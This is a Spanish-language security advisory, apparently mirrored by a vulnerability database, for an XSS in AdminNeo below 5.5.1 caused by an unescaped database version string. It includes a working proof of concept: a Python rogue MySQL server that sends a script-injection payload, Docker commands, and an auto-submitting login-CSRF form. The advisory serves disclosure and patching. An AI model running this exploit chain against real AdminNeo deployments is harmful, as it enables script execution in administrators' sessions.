AdminNeo vulnerable a XSS mediante cadena de versión de servidor MySQL malicioso (omisión de CSP Nonce)
Resumen
AdminNeo inserta la cadena de versión del servidor de base de datos en una etiqueta <script> que contiene un nonce de CSP válido, sin ningún tipo de saneamiento. Un servidor de base de datos malicioso puede devolver una cadena de versión manipulada que escapa del contexto de JavaScript y ejecuta código arbitrario. Debido a que la etiqueta de script ya posee un nonce válido, la Content Security Policy del navegador no bloquea la ejecución. No se requiere autenticación si se combina con Login CSRF.
Reportado originalmente en Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj
Requisitos previos
- El objetivo ejecuta AdminNeo
- El atacante controla un servidor MySQL accesible (un script en Python de 80 líneas)
Causa raíz
admin/core/Admin.php, líneas 1285-1286:
echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");
script() envuelve la salida en <script nonce="VALID_NONCE">. El valor de retorno de Connection::get()->getVersion() no se escapa.
Pasos para reproducir
1. Construir el entorno
Dockerfile (AdminNeo):
FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]
rogue_mysql.py (servidor MySQL falso que acepta cualquier inicio de sesión):
import socket, struct, threading
PAYLOAD = "1');alert(origin)//"
# Capability flags the client expects
CAP_PROTOCOL_41 = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH = 0x00080000
CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)
def make_packet(seq, payload):
length = struct.pack("<I", len(payload))[:3]
return length + bytes([seq]) + payload
def make_greeting(version_str):
pkt = b"\x0a" # protocol version 10
pkt += version_str.encode() + b"\x00" # version string
pkt += struct.pack("<I", 1) # connection id
pkt += b"\x41" * 8 # auth plugin data part 1
pkt += b"\x00" # filler
pkt += struct.pack("<H", CAPS_LOW) # capability flags lower
pkt += b"\x21" # charset utf8
pkt += struct.pack("<H", 0x0002) # status flags
pkt += struct.pack("<H", CAPS_HIGH) # capability flags upper
pkt += b"\x15" # auth data length (21)
pkt += b"\x00" * 10 # reserved
pkt += b"\x41" * 12 + b"\x00" # auth plugin data part 2
pkt += b"mysql_native_password\x00" # auth plugin name
return make_packet(0, pkt)
def make_ok(seq):
pkt = b"\x00" # OK marker
pkt += b"\x00" # affected rows
pkt += b"\x00" # last insert id
pkt += struct.pack("<H", 0x0002) # status flags
pkt += struct.pack("<H", 0) # warnings
return make_packet(seq, pkt)
def make_eof(seq):
pkt = b"\xfe"
pkt += struct.pack("<H", 0) # warnings
pkt += struct.pack("<H", 0x0002) # status flags
return make_packet(seq, pkt)
def make_err(seq, msg=b"not supported"):
pkt = b"\xff"
pkt += struct.pack("<H", 1045)
pkt += b"#HY000"
pkt += msg
return make_packet(seq, pkt)
def handle(conn):
conn.sendall(make_greeting(PAYLOAD))
try:
conn.recv(4096) # client login request
except Exception:
conn.close()
return
conn.sendall(make_ok(2)) # accept login
# Answer any queries Adminer sends after login
while True:
try:
data = conn.recv(4096)
if not data:
break
seq = data[3] + 1
# Send ERR for all queries (Adminer still has the version in memory)
conn.sendall(make_err(seq))
except Exception:
break
conn.close()
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD)
while True:
conn, addr = srv.accept()
print(f"[+] Connection from {addr}")
threading.Thread(target=handle, args=(conn,)).start()
# Terminal 1: start Adminer
docker build -t adminer-xss .
docker run -d -p 8081:8081 --name adminer-xss adminer-xss
# Terminal 2: start rogue MySQL
python3 rogue_mysql.py
2. Activar el XSS
Abra un navegador y navegue a http://localhost:8081/adminneo.php:
- Seleccione el controlador: MySQL
- Servidor:
HOST_IP:3307(IP de la máquina que ejecuta rogue_mysql.py) - Usuario:
root - Contraseña:
x - Haga clic en Login.
El servidor malicioso acepta el inicio de sesión. AdminNeo genera el panel de control e incluye:
<script nonce="REAL_NONCE">let autocompletion;
window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>
El navegador ejecuta alert(origin) con evasión completa de CSP porque la etiqueta de script contiene un nonce válido.
3. Activarlo mediante Login CSRF
El formulario de inicio de sesión no cuenta con un token CSRF. Una página controlada por un atacante envía automáticamente el formulario de acceso, obligando al navegador de la víctima a conectarse al servidor malicioso:
<form id="f" method="POST" action="http://TARGET/adminneo.php">
<input name="auth[driver]" value="mysql">
<input name="auth[server]" value="ROGUE_IP:3307">
<input name="auth[username]" value="root">
<input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>
Créditos
Esta vulnerabilidad fue descubierta conjuntamente con Yashar Shahinzadeh (GitHub: @Voorivex).
Qué hacer
Actualice a AdminNeo versión 5.5.1 o posterior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de Composer | adminneo-org/adminneo | < 5.5.1 | 5.5.1 |
Referencias
- https://github.com/adminneo-org/adminneo/security/advisories/GHSA-rx7m-wxwq-vxr9
- https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj
- https://github.com/adminneo-org/adminneo/commit/2c86406808bc2517efb35f5595b3a05761c2eacd
- https://github.com/adminneo-org/adminneo
- https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1
- Vector CVSS
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N- Debilidad (CWE)
CWE-79- Plataforma
- Composer
- Paquete
adminneo-org/adminneo- Publicada
- 30.10.2026
- Actualizado
- 08.11.2026 10:00
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-rx7m-wxwq-vxr9 - CC BY 4.0
Historial de vulnerabilidades: adminneo-org/adminneo
Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 6
- Primera → última
- 10.2026 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 4
- Media 2
Divulgaciones por año
- 2026: 6
-
AdminNeo vulnerable a XSS mediante cadena de versión de servidor MySQL malicioso (omisión de CSP Nonce) esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.